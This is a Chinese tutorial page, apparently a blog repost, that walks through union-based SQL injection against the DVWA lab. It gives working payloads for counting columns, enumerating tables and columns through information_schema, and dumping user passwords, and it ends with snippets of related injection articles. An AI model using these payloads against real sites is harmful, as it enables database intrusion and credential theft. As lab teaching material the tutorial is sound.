sql注入(二)联合查询注入过程


注入步骤

  • 找注入点且得到闭合字符
  • 判断数据库类型
  • 猜解列数,得到显示位
  • 得到基本信息(如:数据库名、数据库版本、当前数据库名等)
  • 得到数据库名
  • 得到表名
  • 得到列名
  • 得到列值

 1 1‘ order by 3 -- - 错误
 2 1‘ order by 1 -- - 正确
 3 1‘ order by 2 -- - 正确     (判断有几列,在这里有两列)
 4 ?
 5 ?
 6 1‘ union select 1,2 -- -     (查看回显位)
 7 ?
 8 1‘ union select user(),database() -- -   (查看库名)
 9 1‘ union select table_name,2 from information_schema.tables where table_schema=database() -- -   (查看表名)
10 1‘ union select column_name,2 from information_schema.columns where table_name=‘users‘ -- -     (查看列名)
11 1‘ union select group_concat(column_name),2 from information_schema.columns where table_name=‘users‘ -- -   (用group_concat 能让查看的数据出现在一行 )
12   -> DVWA数据库的users数据表中有以下几列:
13       user_id,first_name,last_name,user,password,avatar,last_login,failed_login
14 --------------------------------------------------------------------------- 获取数据库结构。
15 ?
16 1‘ union select 1,group_concat(password) from users -- -
1 命令中的一些注意:
2 information_schema.tables  和 information_schema.columns   都是information_schema 中的表
3 table_schema   数据库名
4 table_name    数据库里面的表名
5 table_column   数据库表里的列名
6 from  要放到 union select  后面
7 例如    group_concat(table_name),2,3,4 from  information_schema.tables  where  table_schema=dababase()

原文地址:https://www.cnblogs.com/difengblog/p/11886434.html

时间: 2024-10-03 08:53:27

sql注入(二)联合查询注入过程的相关文章

联合查询注入

前提:页面必须有显示位select * from A union select * from B两个select必须有相同列且各列的数据类型也相同注入步骤:1.找注入点切得到闭合字符2.判断数据库类型3.猜解列数,得到显示位4.得到基本信息(如:数据库名.数据库版本.当前数据库名等)5.得到数据库名6.得到表名7.得到列名8.得到列值 其中最重要的是页面要有显示位,即爆出来的库信息能在页面上当作正常数据显示出来.然后爆出来的库信息要放在select后相应的位置, 例如:正常的后台sql查询语句是

不使用burp suite-SQL注入-union注入(联合查询)-pikachu之数字型注入(post)

pikachu之数字型注入(post) 下面输入内容均为Post data内容 id=3'&submit=%E6%9F%A5%E8%AF%A2   ------报错 id=3 and 1=1&submit=%E6%9F%A5%E8%AF%A2   ---正常 id=3 and 1=2&submit=%E6%9F%A5%E8%AF%A2   ----报错 id=3 order by 3&submit=%E6%9F%A5%E8%AF%A2   ---报错 id=3 order

SQL多表联合查询

通过连接运算符可以实现多个表查询.连接是关系数据库模型的主要特点,也是它区别于其它类型数据库管理系统的一个标志. 在关系数 据库管理系统中,表建立时各数据之间的关系不必确定,常把一个实体的所有信息存放在一个表中.当检索数据时,通过连接操作查询出存放在多个表中的不同实体 的信息.连接操作给用户带来很大的灵活性,他们可以在任何时候增加新的数据类型.为不同实体创建新的表,尔后通过连接进行查询. 连接可以在SELECT 语句的FROM子句或WHERE子句中建立,似是而非在FROM子句中指出连接时有助于将

SQL多表联合查询(LEFT JOIN)条件差异

查询A: select a.*,b.* into Bus605115_ON_Where_And --(642 行受影响) from PositionN a left join szt b on b.[fQCBH]=a.fBusNo where fdealtime between fDInTime and fDInTimeN and fbusno=605115 查询B: select a.*,b.* into Bus605115_ON_And_Where --(835 行受影响) from Pos

sql两表联合查询

SELECT yt_fault_componentId FROM yt_fault_component a join yt_fault_assembly b on a.yt_fault_assembly=b.yt_fault_assemblyId where a.yt_code='' and b.yt_code=''

软件测试 -- SQL注入测试跟JS注入测试

1. SQL注入的概念: 1.1 概念: SQL注入就是将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的恶意SQL命令. 1.2 SQL如何产生:  1) WEB开发人员无法保证所有的输入都已经过滤 2) 数据库未做相应的安全配置 3)攻击者利用发送给SQL服务器的输入参数构造可执行的SQL代码 1.3 攻击方式: get请求.post请求.http头信息.cookie等 1.4 如何预防(开发所做): 1) 严格检查输入变量的类型和格式 2) 过滤和转

报错注入分析之updatexml注入

PS:今天元旦,家里打来电话说,今年春节要回老家.心里倍感恐惧.可以清楚的感觉得到父母说话的气息没有底气.大概如同我一样是恐惧吧.加油吧!努力赚钱! 回归正题:updatexml注入 首先了解一下什么是updatexml函数. 前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf 0x1 准备条件 a. m

Mysql联合查询UNION和UNION ALL的使用介绍

UNION和UNION ALL的作用和语法 UNION 用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行.UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型.同时,每条 SELECT 语句中的列的顺序必须相同.SQL UNION 语法: SELECT column_name FROM table1UNIONSELECT column_name FROM table2 注释:默认地,UNION 操作符选取不同的值.如果允许重复的值,请使用 U

web安全之sql注入联合查询

联合查询的条件: 有显示位.当然要有注入点!! 提前需要了解的函数: union可合并两个或多个select语句的结果集,前提是两个select必有相同列.且各列的数据类型也相同 distinct 去重的函数 group_concat() 把同组的数据为一行打印出来 limit 0,1  0是行数,从列名开始,1是数据的条数. 注入步骤: 1.判断是否有注入点,'查看是整型或者字符串型,and 1=1 和and 1=2 ,看页面返回信息. 2.order by 猜解列数,并使用union sel